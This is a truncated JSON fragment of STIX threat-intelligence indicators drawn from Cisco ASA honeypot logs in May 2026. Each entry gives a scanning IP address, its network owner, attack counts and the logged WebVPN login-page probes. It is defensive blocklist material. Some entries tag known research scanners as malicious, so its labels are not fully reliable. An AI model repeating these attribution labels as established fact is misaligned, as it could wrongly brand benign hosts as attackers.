    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c433e389-ecd0-4428-b030-befe9e20f3ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T19:41:06.915Z",
          "last_seen": "2026-05-05T06:53:06.550Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f8a04eaa-ee82-4342-b799-1244ff09f7e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T19:59:16.433Z",
          "last_seen": "2026-05-26T08:27:01.172Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fdd0e1bf-85ae-4451-94ae-02dbf3ea5b82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T19:54:08.320Z",
          "last_seen": "2026-05-11T11:43:32.402Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b1cc8a26-702e-4b5e-948e-9123ef4319eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T19:39:33.548Z",
          "last_seen": "2026-05-20T21:05:07.929Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--517cfab1-c126-4901-a9c9-9612aff2733c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T19:23:23.063Z",
          "last_seen": "2026-05-04T19:23:31.712Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9a55d7bc-6acd-4912-84c7-5456a607b300",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T20:18:07.243Z",
          "last_seen": "2026-05-04T20:18:16.117Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--75137d23-559e-4330-ad17-e93786c74199",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T19:22:56.697Z",
          "last_seen": "2026-05-30T00:16:00.585Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204770 (UAB Cherry Servers)",
      "id": "indicator--0611c5bf-4655-451c-832d-04f6eddbf883",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '84.32.70.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:20:10.000Z",
      "valid_until": "2026-06-05T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T20:10:48.317Z",
          "last_seen": "2026-05-04T20:10:51.320Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204770,
          "as_org": "UAB Cherry Servers",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T21:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--3d21387f-12db-488d-a220-106f83e66a90",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:20:05.000Z",
      "valid_until": "2026-06-05T21:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-04T21:14:09.793Z",
          "last_seen": "2026-05-30T07:43:43.020Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T21:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--be35fea7-7966-4a1d-93f2-eee5dff8428c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:20:05.000Z",
      "valid_until": "2026-06-05T21:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T20:58:48.833Z",
          "last_seen": "2026-05-05T01:55:37.700Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T21:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--c4a1998a-c763-4996-80b0-31f5aac1ad6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:20:05.000Z",
      "valid_until": "2026-06-05T21:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T21:06:33.616Z",
          "last_seen": "2026-05-04T21:06:36.619Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T21:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--01b45e67-b528-4cb0-a4a3-d96f689ef09f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:20:05.000Z",
      "valid_until": "2026-06-05T21:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T20:41:47.519Z",
          "last_seen": "2026-05-30T10:17:30.022Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T21:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6de10e79-c629-478d-9807-3d9afe380d3b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:20:05.000Z",
      "valid_until": "2026-06-05T21:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T20:51:11.290Z",
          "last_seen": "2026-05-30T08:39:00.429Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T21:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0e1daa2a-cbb0-43c8-b195-1549cceeb94e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:20:05.000Z",
      "valid_until": "2026-06-05T21:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-04T20:48:00.798Z",
          "last_seen": "2026-05-29T23:30:59.139Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T21:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--ec9dc9b8-d752-43e9-b5a1-dacc46bc7d4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:20:05.000Z",
      "valid_until": "2026-06-05T21:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T20:43:09.787Z",
          "last_seen": "2026-05-05T20:48:26.097Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T22:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--c50eaf6e-3224-47f8-b22c-7fd0bf3103af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.76.29.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T22:20:06.000Z",
      "valid_until": "2026-06-05T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T22:05:44.095Z",
          "last_seen": "2026-05-04T22:05:47.099Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T22:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--b51d17af-307c-4d8c-9688-b92e2dd61d78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T22:20:06.000Z",
      "valid_until": "2026-06-05T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T22:18:32.099Z",
          "last_seen": "2026-05-29T19:09:28.001Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T22:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b37aece2-55ab-4b8a-a33e-e5d0ac6466a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T22:20:06.000Z",
      "valid_until": "2026-06-05T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T21:42:53.695Z",
          "last_seen": "2026-05-29T14:57:45.924Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T22:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--32a8d839-e3bf-4b0e-800f-8fba8451d967",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T22:20:06.000Z",
      "valid_until": "2026-06-05T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T21:40:01.811Z",
          "last_seen": "2026-05-30T07:55:39.017Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T22:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d69e3d4a-badb-4b1d-9fca-563737bbe685",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T22:20:06.000Z",
      "valid_until": "2026-06-05T22:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-04T21:59:58.132Z",
          "last_seen": "2026-05-29T11:47:44.811Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--25f333ad-64a3-4a23-ba4f-89e7dbffafc5",
